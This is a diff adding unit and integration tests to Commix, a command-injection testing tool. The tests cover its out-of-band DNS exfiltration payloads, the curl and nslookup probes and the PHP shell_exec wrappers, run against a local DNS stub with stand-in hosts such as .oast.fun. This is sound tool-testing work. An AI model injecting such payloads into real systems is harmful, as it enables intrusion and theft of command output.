"1-1." + chunk + "." + self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client().data_of(self._itr(identifier)), ["1-1", chunk]) + + def test_data_of_multipart_chunk(self): + identifier = "1-2.part1.part2." + self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client().data_of(self._itr(identifier)), ["1-2", "part1", "part2"]) + + def test_data_and_token_agree_on_boundary(self): + # data_of and _token_of must find the same boundary label. + chunk = "6162" + identifier = "1-1." + chunk + "." + self.CORR + self.TOKEN + ".oast.fun" + c = self._client() + itr = self._itr(identifier) + self.assertEqual(c._token_of(itr), self.TOKEN) + labels = c.data_of(itr) + self.assertEqual(labels[0], "1-1") + self.assertEqual(labels[1], chunk) + + def test_data_of_xargs_format_plain_index(self): + # Xargs produces "1..." — label0 is a plain number. + chunk = "6162" + identifier = "1." + chunk + "." + self.CORR + self.TOKEN + ".oast.fun" + labels = self._client().data_of(self._itr(identifier)) + self.assertEqual(labels, ["1", chunk]) + + def test_token_of_is_case_insensitive(self): + # interactsh identifiers arrive lowercased; _token_of lower()s the label. + identifier = (self.CORR + self.TOKEN + ".oast.fun").upper() + self.assertEqual(self._client()._token_of(self._itr(identifier)), self.TOKEN) + + +# --------------------------------------------------------------------------- +# Gap 3: injection() retry logic +# --------------------------------------------------------------------------- + +class TestInjectionRetry(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.OOB_EVAL = False + settings.OOB_TRANSPORT = "dns" + settings.OOB_DNS_ATTEMPTS = 2 + settings.OOB_TIMEOUT = 15 + settings.INCOMPLETE_OUTPUT = False + self._ch = MockChannel() + settings.OOB_CHANNEL = self._ch + + def tearDown(self): + settings.OOB_CHANNEL = None + settings.OOB_TRANSPORT = "" + + def _run(self, dns_side_effects): + with mock.patch("src.core.techniques.oob.oob_injector._dns_output", + side_effect=dns_side_effects) as m: + with mock.patch("src.core.controller.handler.oob_inject"): + result = oob_injector.injection(";", "id", "", "", " ", "GET", + "http://t/", "p") + return result, m + + def test_retries_on_empty_first_response(self): + result, m = self._run(["", "data"]) + self.assertEqual(result, "data") + self.assertEqual(m.call_count, 2) + + def test_no_retry_when_first_attempt_succeeds(self): + result, m = self._run(["first"]) + self.assertEqual(result, "first") + self.assertEqual(m.call_count, 1) + + def test_both_empty_returns_empty_after_attempts(self): + result, m = self._run(["", ""]) + self.assertEqual(result, "") + self.assertEqual(m.call_count, 2) + + def test_attempts_1_never_retries(self): + settings.OOB_DNS_ATTEMPTS = 1 + result, m = self._run([""]) + self.assertEqual(result, "") + self.assertEqual(m.call_count, 1) + + def test_null_channel_returns_empty_immediately(self): + settings.OOB_CHANNEL = None + with mock.patch("src.core.techniques.oob.oob_injector._dns_output") as m: + result = oob_injector.injection(";", "id", "", "", " ", "GET", "http://t/", "p") + self.assertEqual(result, "") + m.assert_not_called() + + def test_unsupported_transport_returns_empty_immediately(self): + settings.OOB_TRANSPORT = "notreal" + with mock.patch("src.core.techniques.oob.oob_injector._dns_output") as m: + result = oob_injector.injection(";", "id", "", "", " ", "GET", "http://t/", "p") + self.assertEqual(result, "") + m.assert_not_called() + + +# --------------------------------------------------------------------------- +# Gap 4: heuristic_payload DNS probe +# --------------------------------------------------------------------------- + +class TestHeuristicPayload(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.OOB_SCHEME = "https" + + def tearDown(self): + settings.TARGET_OS = settings.OS.UNIX + + def test_posix_produces_three_probes(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertEqual(len(probes), 3) + + def test_windows_produces_three_probes(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.WINDOWS) + self.assertEqual(len(probes), 3) + + def test_posix_probe_transports_in_order(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + # pairs = ((";","curl"), ("&","dns"), ("|","dns")) + self.assertEqual([t for _, t in probes], ["curl", "dns", "dns"]) + + def test_windows_probe_transports_in_order(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.WINDOWS) + # pairs = (("&","curl"), ("&","dns"), ("|","dns")) + self.assertEqual([t for _, t in probes], ["curl", "dns", "dns"]) + + def test_probe_tokens_are_unique(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + tokens = [tok for tok, _ in probes] + self.assertEqual(len(tokens), len(set(tokens))) + + def test_payload_contains_dns_lookup_command(self): + ch = MockChannel() + payload, _ = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertIn("nslookup", payload) + + def test_payload_contains_curl_command(self): + ch = MockChannel() + payload, _ = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertIn("curl", payload) + + def test_each_probe_token_present_in_payload(self): + # The hostname for each probe embeds its token; the payload must reference it. + ch = MockChannel() + payload, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + for token, _ in probes: + self.assertIn(token, payload) + + def test_payload_is_nonempty_string(self): + ch = MockChannel() + payload, _ = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertIsInstance(payload, str) + self.assertTrue(len(payload) > 0) + + +# --------------------------------------------------------------------------- +# OOB_EVAL: exfiltrate_eval and injection() with OOB_EVAL=True +# --------------------------------------------------------------------------- + +""" +What the eval wrapper's literal holds, as the shell will see it. + +The command is carried as a single-quoted string of the language being evaluated rather than +written into one the interpreter reads, so a '$' or a backtick of the pipeline's own reaches the +shell instead of being read by the interpreter on the way. Unescaped here the way that language +unescapes it. +""" +def _eval_inner(payload): + literal = re.search(r"shell_exec\('(.*)'\)\)", payload).group(1) + return re.sub(r"\\(['\\])", r"\1", literal) + +class TestOobEval(unittest.TestCase): + + _HOST = "aabbccddeeaabbccddeetest0000token.oast.fun" + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.OOB_EVAL = False + # The shape asserted below is the one built where nothing is rewriting the payload. Each + # tamper module flips its own flag as it is imported, so a test that imported one earlier + # in the run would otherwise decide what this one is handed. + self._tampers = dict(settings.TAMPER_SCRIPTS) + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + # And the language too: the shape below is PHP's, and a test that named another grammar + # earlier in the run leaves that one in place for whatever runs next. + self._grammar = settings.EVAL_GRAMMAR + settings.set_eval_grammar("php") + + def tearDown(self): + settings.OOB_EVAL = False + settings.TAMPER_SCRIPTS.update(self._tampers) + settings.EVAL_GRAMMAR = self._grammar + + # --- exfiltrate_eval structure ----------------------------------------- + + def test_returns_nonempty_for_dns(self): + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertTrue(result, "exfiltrate_eval returned empty for dns transport") + + def test_wraps_the_command_in_the_grammars_own_run(self): + # Default eval grammar is PHP: print(shell_exec('...')); + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertIn("shell_exec(", result) + self.assertTrue(result.strip().startswith("print(")) + + def test_contains_dns_pipeline_structure(self): + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertIn("nslookup", result) + self.assertIn("od -An", result) + + def test_inner_command_matches_plain_exfiltrate(self): + # What the literal holds must be exactly what exfiltrate("", ...) builds - the pipeline + # carries '$0' and '$H' of its own, which a string the interpreter reads would have taken + # for its own variables and dropped. + plain = payloads.exfiltrate("", "dns", self._HOST, "echo hello") + wrapped = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertEqual(_eval_inner(wrapped), plain) + + def test_terminator_appended_when_separator_given(self): + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertTrue(result.endswith(settings.EVAL_GRAMMAR.TERMINATOR)) + + def test_no_extra_terminator_when_separator_empty(self): + # With no separator the eval wrapper adds no extra terminator beyond + # what _rendered() already produces (the PHP print statement ends in ;). + with_sep = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + without_sep = payloads.exfiltrate_eval("", "dns", self._HOST, "echo hello") + self.assertEqual(len(without_sep) + len(settings.EVAL_GRAMMAR.TERMINATOR), + len(with_sep)) + + # --- injection() with OOB_EVAL=True ------------------------------------ + + def test_injection_oob_eval_calls_dns_output(self): + ch = MockChannel() + settings.OOB_EVAL = True + settings.OOB_TRANSPORT = "dns" + settings.OOB_DNS_ATTEMPTS = 1 + settings.OOB_CHANNEL = ch + try: + with mock.patch("src.core.techniques.oob.oob_injector._dns_output", + return_value="eval_result") as m: + with mock.patch("src.core.controller.handler.oob_inject"): + result = oob_injector.injection(";", "echo hello", "", "", " ", + "GET", "http://t/", "p") + self.assertEqual(result, "eval_result") + self.assertEqual(m.call_count, 1) + finally: + settings.OOB_CHANNEL = None + settings.OOB_TRANSPORT = "" + settings.OOB_EVAL = False + + def test_injection_oob_eval_retries_same_as_plain(self): + # OOB_EVAL=True does not change the retry count. + ch = MockChannel() + settings.OOB_EVAL = True + settings.OOB_TRANSPORT = "dns" + settings.OOB_DNS_ATTEMPTS = 2 + settings.OOB_CHANNEL = ch + try: + with mock.patch("src.core.techniques.oob.oob_injector._dns_output", + side_effect=["", "second"]) as m: + with mock.patch("src.core.controller.handler.oob_inject"): + result = oob_injector.injection(";", "echo hello", "", "", " ", + "GET", "http://t/", "p") + self.assertEqual(result, "second") + self.assertEqual(m.call_count, 2) + finally: + settings.OOB_CHANNEL = None + settings.OOB_TRANSPORT = "" + settings.OOB_EVAL = False + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_oob_dns_integration.py b/tests/test_oob_dns_integration.py new file mode 100644 index 0000000000..6d0574e283 --- /dev/null +++ b/tests/test_oob_dns_integration.py @@ -0,0 +1,537 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +Integration test: OOB DNS data flow exercised end-to-end. + +Spins up a local DNS UDP stub on a random high port, installs a fake +`nslookup` wrapper script that forwards queries to that stub, generates +dns_exfil_command shell pipelines from the production code, runs them +in a subprocess, then verifies that the captured labels reassemble back +to the original command output. + +No root access required; no external network traffic. +""" + +import binascii +import itertools +import os +import queue +import shutil +import socket +import stat +import struct +import subprocess +import sys +import tempfile +import threading +import re +import unittest +import unittest.mock as mock + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.argv = ["commix.py"] + +from src.utils import settings +from src.core.techniques.oob import oob_payloads as payloads +from src.core.techniques.oob import oob_injector +from src.core.oob.provider import Interaction + + +# Fixed correlation id and token so the production parsing code finds them. +CORR_ID = "aabbccddeeaabbccddee" # 20 chars (interactsh format) +TOKEN = "testtoken0000" # 13 chars +HOSTNAME = CORR_ID + TOKEN + ".test.local" + + +# --------------------------------------------------------------------------- +# Minimal DNS UDP stub +# --------------------------------------------------------------------------- + +class DnsStub: + """ + Listens on a random local UDP port, records every DNS query name it + receives, and sends a minimal NXDOMAIN reply so callers do not block. + """ + + def __init__(self): + self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._sock.bind(("127.0.0.1", 0)) + self._sock.settimeout(0.3) + self.port = self._sock.getsockname()[1] + self._q = queue.Queue() + self._running = False + self._thread = None + + def start(self): + self._running = True + self._thread = threading.Thread(target=self._loop, daemon=True) + self._thread.start() + + def stop(self): + self._running = False + try: + self._sock.close() + except OSError: + pass + if self._thread: + self._thread.join(timeout=2) + + def _loop(self): + while self._running: + try: + data, addr = self._sock.recvfrom(512) + except (socket.timeout, OSError): + continue + name = self._parse_name(data) + if name: + self._q.put(name.lower()) + self._nxdomain(data, addr) + + def _nxdomain(self, query, addr): + if len(query) < 12: + return + hdr = bytearray(query[:12]) + hdr[2] = 0x81 # QR=1, RD=1 + hdr[3] = 0x83 # RA=1, RCODE=3 + hdr[6] = hdr[7] = 0 + try: + self._sock.sendto(bytes(hdr) + query[12:], addr) + except OSError: + pass + + @staticmethod + def _parse_name(data): + if len(data) < 13: + return None + pos = 12 # skip the 12-byte DNS header + labels = [] + while pos < len(data): + length = data[pos] + if length == 0: + break + pos += 1 + if pos + length > len(data): + return None + labels.append(data[pos:pos + length].decode("ascii", errors="replace")) + pos += length + return ".".join(labels) if labels else None + + def drain(self, first_wait=5.0, idle=0.5): + """Collect all query names: wait up to *first_wait* s for the first + one, then keep draining until *idle* s of silence.""" + names = [] + try: + names.append(self._q.get(timeout=first_wait)) + except queue.Empty: + return names + while True: + try: + names.append(self._q.get(timeout=idle)) + except queue.Empty: + break + return names + + +# --------------------------------------------------------------------------- +# Fake nslookup wrapper +# --------------------------------------------------------------------------- + +# Python script that sends a real DNS UDP query to the stub. +_DNS_SENDER = """\ +#!/usr/bin/env python3 +import socket, sys, struct + +host = sys.argv[1] +labels = host.lower().encode("ascii", errors="replace").split(b".") +question = b"".join(bytes([len(l)]) + l for l in labels) + b"\\x00" +question += struct.pack("!HH", 1, 1) # QTYPE=A, QCLASS=IN +header = struct.pack("!HHHHHH", 0xAABB, 0x0100, 1, 0, 0, 0) + +s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +s.settimeout(2) +try: + s.sendto(header + question, ("127.0.0.1", {port})) + s.recv(512) +except Exception: + pass +""" + +_NSLOOKUP_SH = """\ +#!/bin/sh +exec python3 {sender} "$@" +""" + + +_NOOP_SH = "#!/bin/sh\nexit 1\n" + + +def _install_fake_nslookup(tmpdir, port): + sender = os.path.join(tmpdir, "_dns_sender.py") + wrapper = os.path.join(tmpdir, "nslookup") + with open(sender, "w") as fh: + fh.write(_DNS_SENDER.format(port=port)) + with open(wrapper, "w") as fh: + fh.write(_NSLOOKUP_SH.format(sender=sender)) + os.chmod(wrapper, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP) + # When the '|' separator chains lookup tools with single pipes every command + # in the pipeline runs simultaneously. Provide fast no-ops for the fallbacks + # so they do not block waiting for I/O or a network reply. + for name in ("getent", "host", "ping"): + path = os.path.join(tmpdir, name) + with open(path, "w") as fh: + fh.write(_NOOP_SH) + os.chmod(path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP) + + +# --------------------------------------------------------------------------- +# Reassembly helper +# --------------------------------------------------------------------------- + +def _reassemble(stub_names): + """ + Given a list of raw DNS query names from the stub, use the production + Interactsh parsing to build a mock channel, then call _dns_output to + reassemble the command output. + """ + from src.core.oob.interactsh import Interactsh + + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + + class _Ch: + def __init__(self): + self._seen = [] + self._labels = {} + + def seen(self, token, protocol=None): + hits = self._seen + return [i for i in hits if i.protocol == protocol] if protocol else list(hits) + + def data_of(self, itr): + return self._labels.get(id(itr), []) + + def poll_now(self): + pass + + ch = _Ch() + for name in stub_names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + ch._seen.append(itr) + ch._labels[id(itr)] = client.data_of(itr) + + # First call supplies the deadline base (0 → deadline = 30). + # Second call (inside the loop) returns 9999 to trigger the exit path: + # the deadline check fires after the first iteration processes all chunks. + times = itertools.chain([0], itertools.repeat(9999)) + settings.OOB_TIMEOUT = 15 + settings.INCOMPLETE_OUTPUT = False + with mock.patch("time.time", side_effect=times): + with mock.patch("time.sleep"): + return oob_injector._dns_output(ch, TOKEN) + + +# --------------------------------------------------------------------------- +# Integration test class +# --------------------------------------------------------------------------- + +""" +What the eval wrapper's literal holds, as the shell will see it. + +The command is carried as a single-quoted string of the language being evaluated rather than +written into one the interpreter reads, so a '$' or a backtick of the pipeline's own reaches the +shell instead of being read by the interpreter on the way. Unescaped here the way that language +unescapes it. +""" +def _eval_inner(payload): + literal = re.search(r"shell_exec\('(.*)'\)\)", payload).group(1) + return re.sub(r"\\(['\\])", r"\1", literal) + +_TOOLS = ("sh", "od", "fold", "cat", "tr", "xargs", "python3") + +@unittest.skipUnless( + all(shutil.which(t) for t in _TOOLS), + "one or more required tools missing: " + ", ".join(_TOOLS), +) +class TestDnsOobIntegration(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.INCOMPLETE_OUTPUT = False + # As in 'test_oob_dns': the eval wrapper's shape is the no-tamper one, and a tamper module + # imported earlier in the run would otherwise choose it for us. + self._tampers = dict(settings.TAMPER_SCRIPTS) + for name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + self._grammar = settings.EVAL_GRAMMAR + settings.set_eval_grammar("php") + self._stub = DnsStub() + self._stub.start() + self._tmpdir = tempfile.mkdtemp(prefix="commix_oob_test_") + _install_fake_nslookup(self._tmpdir, self._stub.port) + + def tearDown(self): + self._stub.stop() + shutil.rmtree(self._tmpdir, ignore_errors=True) + settings.TARGET_OS = settings.OS.UNIX + settings.TAMPER_SCRIPTS.update(self._tampers) + settings.EVAL_GRAMMAR = self._grammar + + def _run(self, cmd, timeout=12): + env = dict(os.environ) + env["PATH"] = self._tmpdir + ":" + env.get("PATH", "/usr/bin:/bin") + subprocess.run( + ["sh", "-c", cmd], + env=env, + capture_output=True, + timeout=timeout, + ) + + # --- xargs format (separator '&'): plain index labels, no total -------- + + def test_xargs_single_chunk_ascii_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_xargs_multiword_output(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo 'foo bar baz'", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "foo bar baz") + + def test_xargs_multichunk_output(self): + # 40 'B' chars → 80 hex chars → 2 chunks (60 + 20) + cmd = payloads.dns_exfil_command( + HOSTNAME, "printf '%s' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'", "&" + ) + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "B" * 40) + + def test_xargs_labels_carry_plain_index(self): + # xargs format: label0 should be a plain integer, no dash-separator + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + # count is empty → no total embedded in label + self.assertFalse(count.isdigit(), + "xargs label should not carry a total: %r" % labels[0]) + + def test_xargs_hex_labels_are_valid_hex(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + hex_data = "".join(client.data_of(itr)[1:]) + self.assertEqual(len(hex_data) % 2, 0, + "odd-length hex chunk: %r" % hex_data) + binascii.unhexlify(hex_data) # must not raise + + # --- loop format (separator ';'): labels carry index-total ------------- + + def test_loop_single_chunk_ascii_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", ";") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_loop_labels_carry_total(self): + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", ";") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + found_total = False + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + if count.isdigit(): + found_total = True + break + self.assertTrue(found_total, "no loop-format label with total found in %r" % names) + + def test_loop_multichunk_output(self): + cmd = payloads.dns_exfil_command( + HOSTNAME, "printf '%s' 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'", ";" + ) + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "C" * 40) + + def test_loop_chunk_count_consistent_across_labels(self): + # All labels for one command run must agree on the total chunk count. + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command( + HOSTNAME, "printf '%s' 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'", ";" + ) + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + totals = set() + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + if count.isdigit(): + totals.add(int(count)) + self.assertEqual(len(totals), 1, + "labels disagreed on chunk total: %r" % totals) + + # --- hostname embedding ------------------------------------------------ + + def test_queries_embed_corr_id_and_token(self): + # Every captured query name must contain the correlation id + token. + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + for name in names: + self.assertIn(CORR_ID + TOKEN, name, + "corr+token not found in %r" % name) + + + # --- newline separator (\n): loop path, same label format as ';' ------- + + def test_newline_loop_format_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "\n") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_newline_loop_labels_carry_total(self): + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "\n") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + found = any( + client._token_of(Interaction(protocol="dns", identifier=n, raw_request="")) == TOKEN + and any( + c.isdigit() + for c in (client.data_of(Interaction(protocol="dns", identifier=n, raw_request=""))[0].partition("-")[2] or "") + ) + for n in names + ) + self.assertTrue(found, "no \\n-separator label with total found in %r" % names) + + # --- pipe separator (|): xargs path, single-pipe lookup chain ---------- + + def test_pipe_xargs_format_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "|") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_pipe_xargs_labels_carry_plain_index(self): + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "|") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + for name in names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + labels = client.data_of(itr) + if labels: + _, _, count = labels[0].partition("-") + self.assertFalse(count.isdigit(), + "pipe-separator label should not carry total: %r" % labels[0]) + + # --- OOB_EVAL: inner DNS command embedded in eval grammar wrapper ------- + + def test_oob_eval_inner_command_round_trip(self): + # exfiltrate_eval wraps the DNS pipeline in the eval-grammar's print + # statement (PHP by default: print(`...`);). The backtick content is + # the same shell pipeline as the non-eval path. Extract and run it. + payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello") + self.assertIn("shell_exec(", payload, "eval wrapper not present: %r" % payload[:60]) + inner_cmd = _eval_inner(payload) + self._run(inner_cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS queries captured") + self.assertEqual(_reassemble(names), "hello") + + def test_oob_eval_wrapper_does_not_alter_dns_queries(self): + # Queries from the eval path and the plain path must be identical. + from src.core.oob.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + + # exfiltrate_eval wraps exfiltrate("", ...) — use the same separator so + # both commands are runnable standalone (the ";" variant produces a + # leading-semicolon injection fragment, not a plain shell script). + plain_cmd = payloads.exfiltrate("", "dns", HOSTNAME, "echo hello") + self._run(plain_cmd) + plain_names = set(self._stub.drain()) + + eval_payload = payloads.exfiltrate_eval(";", "dns", HOSTNAME, "echo hello") + inner_cmd = _eval_inner(eval_payload) + self._run(inner_cmd) + eval_names = set(self._stub.drain()) + + # Both runs must produce labels that carry the same decoded output. + self.assertEqual(_reassemble(list(plain_names)), "hello") + self.assertEqual(_reassemble(list(eval_names)), "hello") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_options.py b/tests/test_options.py new file mode 100644 index 0000000000..84e3bcaf4d --- /dev/null +++ b/tests/test_options.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import sys +import unittest + +from src.utils import settings +from src.core import options +from src.core.requests import tor +from src.core.parse import cmdline as menu + +OPTIONS_STATE = ("url", "cdel", "pdel", "tor", "tor_port", "tor_type", "proxy", "ignore_proxy", + "check_tor", "failed_tries") + +class _AValidatedRun(unittest.TestCase): + """ + What the options say, read the way a run reads them before a target is contacted - with the Tor + lookup stood down, since a test that reaches for a local service is a broken test. + """ + def setUp(self): + self._options = {name: getattr(menu.options, name, None) for name in OPTIONS_STATE} + self._printed = [] + self._print = settings.print_data_to_stdout + self._tor = (tor.set_proxy_settings, tor.do_check) + # Read back further down for the inject tag, and a bare one is a run with nothing asked of it. + self._argv = list(sys.argv) + sys.argv = ["commix.py", "-u", "http://t/a.php?addr=1"] + settings.print_data_to_stdout = lambda text: self._printed.append(str(text)) + tor.set_proxy_settings = lambda *args, **kwargs: None + tor.do_check = lambda *args, **kwargs: None + menu.options.url = "http://t/a.php?addr=1" + menu.options.cdel = None + menu.options.pdel = None + menu.options.tor = False + menu.options.tor_port = False + menu.options.tor_type = None + menu.options.proxy = None + menu.options.ignore_proxy = False + menu.options.check_tor = False + menu.options.failed_tries = None + + def tearDown(self): + settings.print_data_to_stdout = self._print + tor.set_proxy_settings, tor.do_check = self._tor + sys.argv = self._argv + for name, value in self._options.items(): + setattr(menu.options, name, value) + + def refused(self): + self.assertRaises(SystemExit, options.validate) + return "".join(self._printed) + +class ADelimiterIsOneCharacter(_AValidatedRun): + """ + A longer one splits the cookie where nothing asked it to, and every parameter behind the first + one is then reported as absent rather than as split wrong. + """ + def test_a_longer_one_is_refused_by_name(self): + menu.options.cdel = "||" + self.assertIn("'--cookie-del'", self.refused()) + + def test_one_character_is_what_it_asks_for(self): + menu.options.cdel = ";" + options.validate() + self.assertEqual(";", menu.options.cdel) + + def test_an_escape_counts_as_the_character_it_stands_for(self): + # Written as an escape where the shell would otherwise eat the character itself, so what + # arrives is two characters standing for one. + menu.options.cdel = "\\n" + options.validate() + self.assertEqual("\n", menu.options.cdel) + +class AWaitTooShortToBelieveIsRaised(_AValidatedRun): + """ + Under it, a target that is merely slow cannot be told from one that is not answering, and every + technique reading that silence reports a parameter as not injectable for a reason that was never + the target's. Raised rather than refused: the run was asked to go faster, not to go wrong. + """ + def setUp(self): + _AValidatedRun.setUp(self) + self._timeout = menu.options.timeout + + def tearDown(self): + menu.options.timeout = self._timeout + _AValidatedRun.tearDown(self) + + def test_a_wait_under_the_floor_is_raised_to_it_and_said_so(self): + menu.options.timeout = 1 + options.validate() + self.assertEqual(settings.MIN_SAFE_TIMEOUT, menu.options.timeout) + self.assertIn("'--timeout'", "".join(self._printed)) + + def test_the_floor_is_carried_to_what_the_requests_are_made_with(self): + menu.options.timeout = 1 + options.validate() + self.assertEqual(settings.MIN_SAFE_TIMEOUT, settings.TIMEOUT) + + def test_a_wait_above_the_floor_is_left_as_it_was_given(self): + menu.options.timeout = 12 + options.validate() + self.assertEqual(12, menu.options.timeout) + self.assertNotIn("'--timeout'", "".join(self._printed)) + + def test_a_wait_of_less_than_nothing_is_still_the_users_to_correct(self): + menu.options.timeout = -1 + self.assertIn("'--timeout'", self.refused()) + +class APaceCanBeAFractionOfASecond(unittest.TestCase): + """ + Rounded down to whole seconds, a pace of less than one was a pace of none at all - and the only + way left to ask for a fraction was to ask for a random one through '--jitter', which is the + variation on a pace rather than the pace itself. + """ + def test_the_pace_and_the_wait_are_both_read_as_fractions(self): + for option in ("--delay", "--timeout"): + self.assertEqual("float", menu.parser.get_option(option).type, + option + " cannot be given a fraction") + + def test_the_variation_on_a_pace_was_already_one(self): + self.assertEqual("float", menu.parser.get_option("--jitter").type) + +class ANumberThatCannotMeanWhatItSaysIsRefused(_AValidatedRun): + """ + Left to run, a count of less than one reaches the loop it bounds and stops it before its first + turn - and what is reported is a target that answered nothing rather than a value that could + never have been asked for. + """ + def test_a_count_of_none_is_refused_by_name(self): + menu.options.failed_tries = 0 + self.assertIn("'--failed-tries'", self.refused()) + + def test_a_negative_count_is_refused_too(self): + 